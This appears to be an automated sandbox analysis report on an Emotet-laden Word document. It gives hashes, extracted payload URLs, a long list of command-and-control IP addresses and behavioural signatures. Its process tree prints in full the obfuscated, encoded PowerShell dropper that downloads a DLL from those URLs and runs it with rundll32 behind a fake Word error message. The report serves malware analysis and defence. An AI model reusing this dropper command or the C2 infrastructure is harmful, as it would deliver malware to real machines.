Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
13-01-2021 10:30
Static task
static1
Behavioral task
behavioral1
Sample
januari-05-041480-2021.doc
Resource
win7v20201028
General
-
Target
januari-05-041480-2021.doc
-
Size
170KB
-
MD5
c9b64586c8b3df4596dd1ef21cd2a436
-
SHA1
a0c4ee3f775fd7120cc67f185f5776db5e1826fe
-
SHA256
616f225c95d629abcbed5b0326f80549cd8519f657ab6086a9fa79f009d02f9a
-
SHA512
ad4cf4be919fdd07b13330bde557b76bf82b002a8e0bb66eb574c99acfe588057f4be05347655007eedf7ccc9a0779742cd1188de3c798564389a1acbc74e4f8
Malware Config
Extracted
https://fathekarim.com/images/jiC/
https://trumpcommunity.com/usa-no-uykjh/wcS/
https://comunicacaovertical.com.br/agencia/D0sJl/
http://datawyse.net/5VGI0/
http://transfersuvan.com/wp-admin/1114R/
http://upafrique.com/cgi-bin/iFmg/
https://radioclype.scola.ac-paris.fr/wp-admin/js/widgets/6S/
Extracted
emotet
Epoch2
90.160.138.175:80
74.222.117.42:80
157.245.123.197:8080
50.116.111.59:8080
173.249.20.233:443
200.116.145.225:443
142.112.10.95:20
87.106.139.101:8080
173.70.61.180:80
75.177.207.146:80
121.124.124.40:7080
98.109.133.80:80
37.187.72.193:8080
74.40.205.197:443
220.245.198.194:80
197.211.245.21:80
123.176.25.234:80
194.190.67.75:80
78.188.225.105:80
217.20.166.178:7080
49.205.182.134:80
79.137.83.50:443
50.91.114.38:80
62.171.142.179:8080
119.59.116.21:8080
75.109.111.18:80
24.179.13.119:80
120.150.60.189:80
24.69.65.8:8080
185.201.9.197:8080
154.0.8.2:443
118.83.154.64:443
161.0.153.60:80
61.19.246.238:443
100.37.240.62:80
66.57.108.14:443
144.217.7.207:7080
181.165.68.127:80
174.118.202.24:443
188.219.31.12:80
89.106.251.163:80
104.131.11.150:443
181.171.209.241:443
178.152.87.96:80
89.216.122.92:80
172.125.40.123:80
47.144.21.37:80
185.94.252.104:443
139.59.60.244:8080
24.231.88.85:80
190.240.194.77:443
190.29.166.0:80
194.4.58.192:7080
138.68.87.218:443
187.161.206.24:80
78.189.148.42:80
74.128.121.17:80
75.188.107.174:80
202.141.243.254:443
59.21.235.119:80
62.30.7.67:443
5.2.212.254:80
134.209.144.106:443
110.145.11.73:80
139.162.60.124:8080
95.213.236.64:8080
51.89.36.180:443
41.185.28.84:8080
168.235.67.138:7080
203.153.216.189:7080
93.146.48.84:80
94.23.237.171:443
74.208.45.104:8080
5.39.91.110:7080
172.105.13.66:443
109.74.5.95:8080
115.94.207.99:443
78.24.219.147:8080
70.92.118.112:80
37.139.21.175:8080
24.178.90.49:80
62.75.141.82:80
188.165.214.98:8080
84.232.252.202:443
74.58.215.226:80
109.116.245.80:80
64.207.182.168:8080
110.145.101.66:443
136.244.110.184:8080
202.134.4.216:8080
2.58.16.89:8080
95.9.5.93:80
172.104.97.173:8080
172.86.188.251:8080
167.114.153.111:8080
176.111.60.55:8080
202.134.4.211:8080
67.170.250.203:443
46.105.131.79:8080
70.183.211.3:80
139.99.158.11:443
24.164.79.147:8080
85.105.111.166:80
157.245.99.39:8080
201.241.127.190:80
97.120.3.198:80
50.245.107.73:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1644 1804 cmd.exe -
Blocklisted process makes network request 8 IoCs
Processes:
powershell.exerundll32.exeflow pid process 8 1764 powershell.exe 10 1764 powershell.exe 12 1764 powershell.exe 14 1764 powershell.exe 16 1764 powershell.exe 18 1764 powershell.exe 20 1764 powershell.exe 22 1528 rundll32.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 1632 rundll32.exe 1632 rundll32.exe 1632 rundll32.exe 1632 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Cianveyzszgsvvv\cfvgcxskfnpejy.ntu rundll32.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1972 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exerundll32.exepid process 1764 powershell.exe 1764 powershell.exe 1528 rundll32.exe 1528 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1764 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1972 WINWORD.EXE 1972 WINWORD.EXE -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exeWINWORD.EXEdescription pid process target process PID 1644 wrote to memory of 792 1644 cmd.exe msg.exe PID 1644 wrote to memory of 792 1644 cmd.exe msg.exe PID 1644 wrote to memory of 792 1644 cmd.exe msg.exe PID 1644 wrote to memory of 1764 1644 cmd.exe powershell.exe PID 1644 wrote to memory of 1764 1644 cmd.exe powershell.exe PID 1644 wrote to memory of 1764 1644 cmd.exe powershell.exe PID 1764 wrote to memory of 1964 1764 powershell.exe rundll32.exe PID 1764 wrote to memory of 1964 1764 powershell.exe rundll32.exe PID 1764 wrote to memory of 1964 1764 powershell.exe rundll32.exe PID 1964 wrote to memory of 1632 1964 rundll32.exe rundll32.exe PID 1964 wrote to memory of 1632 1964 rundll32.exe rundll32.exe PID 1964 wrote to memory of 1632 1964 rundll32.exe rundll32.exe PID 1964 wrote to memory of 1632 1964 rundll32.exe rundll32.exe PID 1964 wrote to memory of 1632 1964 rundll32.exe rundll32.exe PID 1964 wrote to memory of 1632 1964 rundll32.exe rundll32.exe PID 1964 wrote to memory of 1632 1964 rundll32.exe rundll32.exe PID 1632 wrote to memory of 1528 1632 rundll32.exe rundll32.exe PID 1632 wrote to memory of 1528 1632 rundll32.exe rundll32.exe PID 1632 wrote to memory of 1528 1632 rundll32.exe rundll32.exe PID 1632 wrote to memory of 1528 1632 rundll32.exe rundll32.exe PID 1632 wrote to memory of 1528 1632 rundll32.exe rundll32.exe PID 1632 wrote to memory of 1528 1632 rundll32.exe rundll32.exe PID 1632 wrote to memory of 1528 1632 rundll32.exe rundll32.exe PID 1972 wrote to memory of 2008 1972 WINWORD.EXE splwow64.exe PID 1972 wrote to memory of 2008 1972 WINWORD.EXE splwow64.exe PID 1972 wrote to memory of 2008 1972 WINWORD.EXE splwow64.exe PID 1972 wrote to memory of 2008 1972 WINWORD.EXE splwow64.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\januari-05-041480-2021.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0ASQBUAEUAbQAgACAAdgBBAFIAaQBBAGIAbABFADoAQwBnAEkAagBhACAAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiAC0AZgAgACcAdABFACcALAAnAHMAeQBzACcALAAnAGkATwAuAGQASQByAGUAQwBUAG8AcgBZACcALAAnAG0ALgAnACkAIAApACAAOwAkADcAagBhAEQAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMgB9AHsAMwB9AHsAMAB9AHsANAB9AHsANgB9AHsAMQB9AHsANQB9ACIAIAAtAGYAJwBjACcALAAnAG4AVABNAGEAbgBBAGcAZQAnACwAJwBzAHkAUwBUAEUAJwAsACcATQAuAG4AZQBUAC4AcwBFAFIAdgBJACcALAAnAGUAUABvACcALAAnAFIAJwAsACcASQAnACkAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlACcAKwAnAG4AdAAnACkAKwAnAGwAeQAnACsAKAAnAEMAbwAnACsAJwBuACcAKQArACcAdABpACcAKwAoACcAbgB1ACcAKwAnAGUAJwApACkAOwAkAE8AaQB4ADUAdgAzADIAPQAkAEgANwAzAE0AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEYAMgAyAEkAOwAkAEkANQA5AFcAPQAoACcASgA0ACcAKwAnADkAWgAnACkAOwAgACQAQwBHAEkAagBBADoAOgAiAEMAUgBFAEEAYABUAGUAYABEAGkAUgBlAGAAQwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBTAEkAbgAnACsAJwBTAGgAJwApACsAKAAnAGYAawAnACsAJwB1ADgAdABTACcAKQArACgAJwBJAG4AVwAnACsAJwBuAHcAJwApACsAJwBzAHAAJwArACgAJwB4ADMAUwBJACcAKwAnAG4AJwApACkAIAAtAEMAUgBlAHAAbABBAEMARQAgACgAJwBTAEkAJwArACcAbgAnACkALABbAEMASABBAFIAXQA5ADIAKQApADsAJABRADUAXwBaAD0AKAAnAFQAJwArACgAJwAxACcAKwAnADkATQAnACkAKQA7ACAAIAAoAEcAZQB0AC0AdgBBAFIASQBBAGIAbABFACAAKAAnADcASgAnACsAJwBBAGQAJwApACAAIAAtAHYAYQBMAFUARQBvAG4ATAAgACkAOgA6ACIAcwBFAEMAdQByAGAAaQBUAGAAWQBwAGAAUgBvAHQAbwBjAG8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKQA7ACQAVABfADYASAA9ACgAJwBBACcAKwAoACcANwAnACsAJwA0AEoAJwApACkAOwAkAFgAaQBoADgAZABkAHAAIAA9ACAAKAAnAEEAJwArACgAJwAxACcAKwAnAF8ASAAnACkAKQA7ACQAQwA4ADEAVAA9ACgAJwBEACcAKwAoACcAOAA4ACcAKwAnAEMAJwApACkAOwAkAEQAZQA4ADEANgAzAHkAPQAkAEgATwBNAEUAKwAoACgAKAAnAHgAJwArACcAMwAxAFMAaABmAGsAJwApACsAKAAnAHUAOAAnACsAJwB0ACcAKQArACgAJwB4ADMAMQBXACcAKwAnAG4AdwBzACcAKQArACcAcAAnACsAKAAnAHgAMwAnACsAJwB4ADMAJwApACsAJwAxACcAKQAgAC0AYwByAGUAUABMAEEAYwBlACAAKABbAEMASABBAHIAXQAxADIAMAArAFsAQwBIAEEAcgBdADUAMQArAFsAQwBIAEEAcgBdADQAOQApACwAWwBDAEgAQQByAF0AOQAyACkAKwAkAFgAaQBoADgAZABkAHAAKwAoACgAJwAuACcAKwAnAGQAbAAnACkAKwAnAGwAJwApADsAJABYADcAMwBVAD0AKAAnAEUANQAnACsAJwA3AEsAJwApADsAJABEADkAZABlAHoAXwBkAD0AKAAoACcAXQBhAG4AJwArACcAdwBbADMAJwApACsAKAAnAHMAOgAvAC8AZgAnACsAJwBhACcAKQArACgAJwB0ACcAKwAnAGgAZQBrACcAKQArACgAJwBhACcAKwAnAHIAaQAnACkAKwAoACcAbQAuACcAKwAnAGMAJwArACcAbwBtAC8AaQBtAGEAJwArACcAZwBlACcAKwAnAHMALwBqACcAKQArACcAaQAnACsAJwBDACcAKwAoACcALwAnACsAJwBAAF0AJwApACsAKAAnAGEAbgB3ACcAKwAnAFsAMwBzADoALwAvACcAKwAnAHQAJwApACsAKAAnAHIAdQBtAHAAYwAnACsAJwBvAG0AbQAnACkAKwAoACcAdQAnACsAJwBuAGkAdAB5ACcAKwAnAC4AJwApACsAKAAnAGMAbwBtAC8AdQAnACsAJwBzACcAKQArACcAYQAnACsAJwAtAG4AJwArACgAJwBvAC0AdQB5AGsAJwArACcAagBoAC8AJwArACcAdwBjACcAKQArACcAUwAnACsAJwAvACcAKwAnAEAAJwArACcAXQBhACcAKwAnAG4AdwAnACsAKAAnAFsAMwBzACcAKwAnADoAJwApACsAJwAvACcAKwAoACcALwBjAG8AbQB1AG4AJwArACcAaQAnACsAJwBjAGEAYwAnACkAKwAoACcAYQBvAHYAZQByAHQAJwArACcAaQAnACsAJwBjACcAKQArACgAJwBhAGwAJwArACcALgBjAG8AbQAnACsAJwAuAGIAJwArACcAcgAvAGEAZwBlACcAKwAnAG4AJwApACsAJwBjAGkAJwArACgAJwBhAC8AJwArACcARAAnACsAJwAwAHMASgBsACcAKQArACcALwAnACsAJwBAACcAKwAoACcAXQBhACcAKwAnAG4AdwAnACkAKwAoACcAWwAzACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBkAGEAdAAnACkAKwAnAGEAJwArACcAdwAnACsAKAAnAHkAJwArACcAcwAnACsAJwBlAC4AbgBlAHQALwAnACsAJwA1ACcAKQArACcAVgAnACsAKAAnAEcAJwArACcASQAwAC8AQABdAGEAbgB3AFsAMwAnACsAJwA6AC8AJwApACsAKAAnAC8AdAByAGEAJwArACcAbgBzACcAKQArACgAJwBmAGUAJwArACcAcgBzACcAKQArACcAdQAnACsAKAAnAHYAYQAnACsAJwBuAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AJwApACsAJwBhAGQAJwArACcAbQAnACsAKAAnAGkAJwArACcAbgAvADEAMQAnACkAKwAoACcAMQAnACsAJwA0AFIAJwApACsAJwAvAEAAJwArACcAXQBhACcAKwAnAG4AdwAnACsAKAAnAFsAMwAnACsAJwA6ACcAKQArACgAJwAvAC8AdQAnACsAJwBwAGEAZgByAGkAJwArACcAcQB1AGUALgBjACcAKQArACcAbwBtACcAKwAnAC8AYwAnACsAKAAnAGcAaQAtACcAKwAnAGIAaQBuACcAKQArACgAJwAvAGkARgBtAGcAJwArACcALwAnACkAKwAnAEAAXQAnACsAJwBhAG4AJwArACcAdwBbACcAKwAnADMAcwAnACsAKAAnADoALwAnACsAJwAvAHIAJwApACsAKAAnAGEAZAAnACsAJwBpAG8AJwApACsAJwBjAGwAJwArACgAJwB5ACcAKwAnAHAAZQAuAHMAJwArACcAYwBvAGwAJwApACsAKAAnAGEALgAnACsAJwBhAGMAJwArACcALQBwAGEAcgBpACcAKwAnAHMAJwApACsAKAAnAC4AZgByAC8AdwBwACcAKwAnAC0AYQBkACcAKQArACcAbQAnACsAJwBpACcAKwAoACcAbgAnACsAJwAvAGoAJwApACsAJwBzACcAKwAnAC8AJwArACgAJwB3AGkAZAAnACsAJwBnAGUAJwApACsAKAAnAHQAJwArACcAcwAvADYAJwArACcAUwAvACcAKQApAC4AIgByAEUAcABMAGAAQQBgAEMAZQAiACgAKAAnAF0AJwArACgAJwBhAG4AdwAnACsAJwBbACcAKQArACcAMwAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAbABgAGkAVAAiACgAJABLAF8ANgBIACAAKwAgACQATwBpAHgANQB2ADMAMgAgACsAIAAkAFYAMQA0AEwAKQA7ACQAUAA1ADgASwA9ACgAJwBCACcAKwAoACcAMQBfACcAKwAnAEgAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEYAMgBxADYAeQBvAHoAIABpAG4AIAAkAEQAOQBkAGUAegBfAGQAKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAtAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAHMAeQBzAHQARQBNAC4AbgBFAHQALgBXAGUAQgBjAGwASQBlAE4AVAApAC4AIgBEAG8AVwBuAGwAYABPAGEAYABkAGAARgBJAEwARQAiACgAJABGADIAcQA2AHkAbwB6ACwAIAAkAEQAZQA4ADEANgAzAHkAKQA7ACQAQwAzADUATwA9ACgAJwBLADQAJwArACcANgBKACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABEAGUAOAAxADYAMwB5ACkALgAiAGwARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMwA3ADIAOQAzACkAIAB7AC4AKAAnAHIAdQBuAGQAJwArACcAbABsADMAJwArACcAMgAnACkAIAAkAEQAZQA4ADEANgAzAHkALAAoACcAQwAnACsAJwBvAG4AJwArACgAJwB0ACcAKwAnAHIAJwArACcAbwBsAF8AUgAnACkAKwAoACcAdQAnACsAJwBuAEQATABMACcAKQApAC4AIgBUAE8AYABzAFQAcgBgAEkAbgBHACIAKAApADsAJABLADcAOQBFAD0AKAAnAEcAOAAnACsAJwAyAEsAJwApADsAYgByAGUAYQBrADsAJABJADMANQBEAD0AKAAoACcAWQAnACsAJwAwADMAJwApACsAJwBaACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATAA0ADgATAA9ACgAKAAnAE8AXwAnACsAJwA3ACcAKQArACcARQAnACkA1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQBUAEUAbQAgACAAdgBBAFIAaQBBAGIAbABFADoAQwBnAEkAagBhACAAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiAC0AZgAgACcAdABFACcALAAnAHMAeQBzACcALAAnAGkATwAuAGQASQByAGUAQwBUAG8AcgBZACcALAAnAG0ALgAnACkAIAApACAAOwAkADcAagBhAEQAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMgB9AHsAMwB9AHsAMAB9AHsANAB9AHsANgB9AHsAMQB9AHsANQB9ACIAIAAtAGYAJwBjACcALAAnAG4AVABNAGEAbgBBAGcAZQAnACwAJwBzAHkAUwBUAEUAJwAsACcATQAuAG4AZQBUAC4AcwBFAFIAdgBJACcALAAnAGUAUABvACcALAAnAFIAJwAsACcASQAnACkAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlACcAKwAnAG4AdAAnACkAKwAnAGwAeQAnACsAKAAnAEMAbwAnACsAJwBuACcAKQArACcAdABpACcAKwAoACcAbgB1ACcAKwAnAGUAJwApACkAOwAkAE8AaQB4ADUAdgAzADIAPQAkAEgANwAzAE0AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEYAMgAyAEkAOwAkAEkANQA5AFcAPQAoACcASgA0ACcAKwAnADkAWgAnACkAOwAgACQAQwBHAEkAagBBADoAOgAiAEMAUgBFAEEAYABUAGUAYABEAGkAUgBlAGAAQwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBTAEkAbgAnACsAJwBTAGgAJwApACsAKAAnAGYAawAnACsAJwB1ADgAdABTACcAKQArACgAJwBJAG4AVwAnACsAJwBuAHcAJwApACsAJwBzAHAAJwArACgAJwB4ADMAUwBJACcAKwAnAG4AJwApACkAIAAtAEMAUgBlAHAAbABBAEMARQAgACgAJwBTAEkAJwArACcAbgAnACkALABbAEMASABBAFIAXQA5ADIAKQApADsAJABRADUAXwBaAD0AKAAnAFQAJwArACgAJwAxACcAKwAnADkATQAnACkAKQA7ACAAIAAoAEcAZQB0AC0AdgBBAFIASQBBAGIAbABFACAAKAAnADcASgAnACsAJwBBAGQAJwApACAAIAAtAHYAYQBMAFUARQBvAG4ATAAgACkAOgA6ACIAcwBFAEMAdQByAGAAaQBUAGAAWQBwAGAAUgBvAHQAbwBjAG8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKQA7ACQAVABfADYASAA9ACgAJwBBACcAKwAoACcANwAnACsAJwA0AEoAJwApACkAOwAkAFgAaQBoADgAZABkAHAAIAA9ACAAKAAnAEEAJwArACgAJwAxACcAKwAnAF8ASAAnACkAKQA7ACQAQwA4ADEAVAA9ACgAJwBEACcAKwAoACcAOAA4ACcAKwAnAEMAJwApACkAOwAkAEQAZQA4ADEANgAzAHkAPQAkAEgATwBNAEUAKwAoACgAKAAnAHgAJwArACcAMwAxAFMAaABmAGsAJwApACsAKAAnAHUAOAAnACsAJwB0ACcAKQArACgAJwB4ADMAMQBXACcAKwAnAG4AdwBzACcAKQArACcAcAAnACsAKAAnAHgAMwAnACsAJwB4ADMAJwApACsAJwAxACcAKQAgAC0AYwByAGUAUABMAEEAYwBlACAAKABbAEMASABBAHIAXQAxADIAMAArAFsAQwBIAEEAcgBdADUAMQArAFsAQwBIAEEAcgBdADQAOQApACwAWwBDAEgAQQByAF0AOQAyACkAKwAkAFgAaQBoADgAZABkAHAAKwAoACgAJwAuACcAKwAnAGQAbAAnACkAKwAnAGwAJwApADsAJABYADcAMwBVAD0AKAAnAEUANQAnACsAJwA3AEsAJwApADsAJABEADkAZABlAHoAXwBkAD0AKAAoACcAXQBhAG4AJwArACcAdwBbADMAJwApACsAKAAnAHMAOgAvAC8AZgAnACsAJwBhACcAKQArACgAJwB0ACcAKwAnAGgAZQBrACcAKQArACgAJwBhACcAKwAnAHIAaQAnACkAKwAoACcAbQAuACcAKwAnAGMAJwArACcAbwBtAC8AaQBtAGEAJwArACcAZwBlACcAKwAnAHMALwBqACcAKQArACcAaQAnACsAJwBDACcAKwAoACcALwAnACsAJwBAAF0AJwApACsAKAAnAGEAbgB3ACcAKwAnAFsAMwBzADoALwAvACcAKwAnAHQAJwApACsAKAAnAHIAdQBtAHAAYwAnACsAJwBvAG0AbQAnACkAKwAoACcAdQAnACsAJwBuAGkAdAB5ACcAKwAnAC4AJwApACsAKAAnAGMAbwBtAC8AdQAnACsAJwBzACcAKQArACcAYQAnACsAJwAtAG4AJwArACgAJwBvAC0AdQB5AGsAJwArACcAagBoAC8AJwArACcAdwBjACcAKQArACcAUwAnACsAJwAvACcAKwAnAEAAJwArACcAXQBhACcAKwAnAG4AdwAnACsAKAAnAFsAMwBzACcAKwAnADoAJwApACsAJwAvACcAKwAoACcALwBjAG8AbQB1AG4AJwArACcAaQAnACsAJwBjAGEAYwAnACkAKwAoACcAYQBvAHYAZQByAHQAJwArACcAaQAnACsAJwBjACcAKQArACgAJwBhAGwAJwArACcALgBjAG8AbQAnACsAJwAuAGIAJwArACcAcgAvAGEAZwBlACcAKwAnAG4AJwApACsAJwBjAGkAJwArACgAJwBhAC8AJwArACcARAAnACsAJwAwAHMASgBsACcAKQArACcALwAnACsAJwBAACcAKwAoACcAXQBhACcAKwAnAG4AdwAnACkAKwAoACcAWwAzACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBkAGEAdAAnACkAKwAnAGEAJwArACcAdwAnACsAKAAnAHkAJwArACcAcwAnACsAJwBlAC4AbgBlAHQALwAnACsAJwA1ACcAKQArACcAVgAnACsAKAAnAEcAJwArACcASQAwAC8AQABdAGEAbgB3AFsAMwAnACsAJwA6AC8AJwApACsAKAAnAC8AdAByAGEAJwArACcAbgBzACcAKQArACgAJwBmAGUAJwArACcAcgBzACcAKQArACcAdQAnACsAKAAnAHYAYQAnACsAJwBuAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AJwApACsAJwBhAGQAJwArACcAbQAnACsAKAAnAGkAJwArACcAbgAvADEAMQAnACkAKwAoACcAMQAnACsAJwA0AFIAJwApACsAJwAvAEAAJwArACcAXQBhACcAKwAnAG4AdwAnACsAKAAnAFsAMwAnACsAJwA6ACcAKQArACgAJwAvAC8AdQAnACsAJwBwAGEAZgByAGkAJwArACcAcQB1AGUALgBjACcAKQArACcAbwBtACcAKwAnAC8AYwAnACsAKAAnAGcAaQAtACcAKwAnAGIAaQBuACcAKQArACgAJwAvAGkARgBtAGcAJwArACcALwAnACkAKwAnAEAAXQAnACsAJwBhAG4AJwArACcAdwBbACcAKwAnADMAcwAnACsAKAAnADoALwAnACsAJwAvAHIAJwApACsAKAAnAGEAZAAnACsAJwBpAG8AJwApACsAJwBjAGwAJwArACgAJwB5ACcAKwAnAHAAZQAuAHMAJwArACcAYwBvAGwAJwApACsAKAAnAGEALgAnACsAJwBhAGMAJwArACcALQBwAGEAcgBpACcAKwAnAHMAJwApACsAKAAnAC4AZgByAC8AdwBwACcAKwAnAC0AYQBkACcAKQArACcAbQAnACsAJwBpACcAKwAoACcAbgAnACsAJwAvAGoAJwApACsAJwBzACcAKwAnAC8AJwArACgAJwB3AGkAZAAnACsAJwBnAGUAJwApACsAKAAnAHQAJwArACcAcwAvADYAJwArACcAUwAvACcAKQApAC4AIgByAEUAcABMAGAAQQBgAEMAZQAiACgAKAAnAF0AJwArACgAJwBhAG4AdwAnACsAJwBbACcAKQArACcAMwAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAbABgAGkAVAAiACgAJABLAF8ANgBIACAAKwAgACQATwBpAHgANQB2ADMAMgAgACsAIAAkAFYAMQA0AEwAKQA7ACQAUAA1ADgASwA9ACgAJwBCACcAKwAoACcAMQBfACcAKwAnAEgAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEYAMgBxADYAeQBvAHoAIABpAG4AIAAkAEQAOQBkAGUAegBfAGQAKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAtAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAHMAeQBzAHQARQBNAC4AbgBFAHQALgBXAGUAQgBjAGwASQBlAE4AVAApAC4AIgBEAG8AVwBuAGwAYABPAGEAYABkAGAARgBJAEwARQAiACgAJABGADIAcQA2AHkAbwB6ACwAIAAkAEQAZQA4ADEANgAzAHkAKQA7ACQAQwAzADUATwA9ACgAJwBLADQAJwArACcANgBKACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABEAGUAOAAxADYAMwB5ACkALgAiAGwARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMwA3ADIAOQAzACkAIAB7AC4AKAAnAHIAdQBuAGQAJwArACcAbABsADMAJwArACcAMgAnACkAIAAkAEQAZQA4ADEANgAzAHkALAAoACcAQwAnACsAJwBvAG4AJwArACgAJwB0ACcAKwAnAHIAJwArACcAbwBsAF8AUgAnACkAKwAoACcAdQAnACsAJwBuAEQATABMACcAKQApAC4AIgBUAE8AYABzAFQAcgBgAEkAbgBHACIAKAApADsAJABLADcAOQBFAD0AKAAnAEcAOAAnACsAJwAyAEsAJwApADsAYgByAGUAYQBrADsAJABJADMANQBEAD0AKAAoACcAWQAnACsAJwAwADMAJwApACsAJwBaACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATAA0ADgATAA9ACgAKAAnAE8AXwAnACsAJwA3ACcAKQArACcARQAnACkA2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Shfku8t\Wnwspx3\A1_H.dll Control_RunDLL3⤵
- Suspicious use of WriteProcessMemory
-
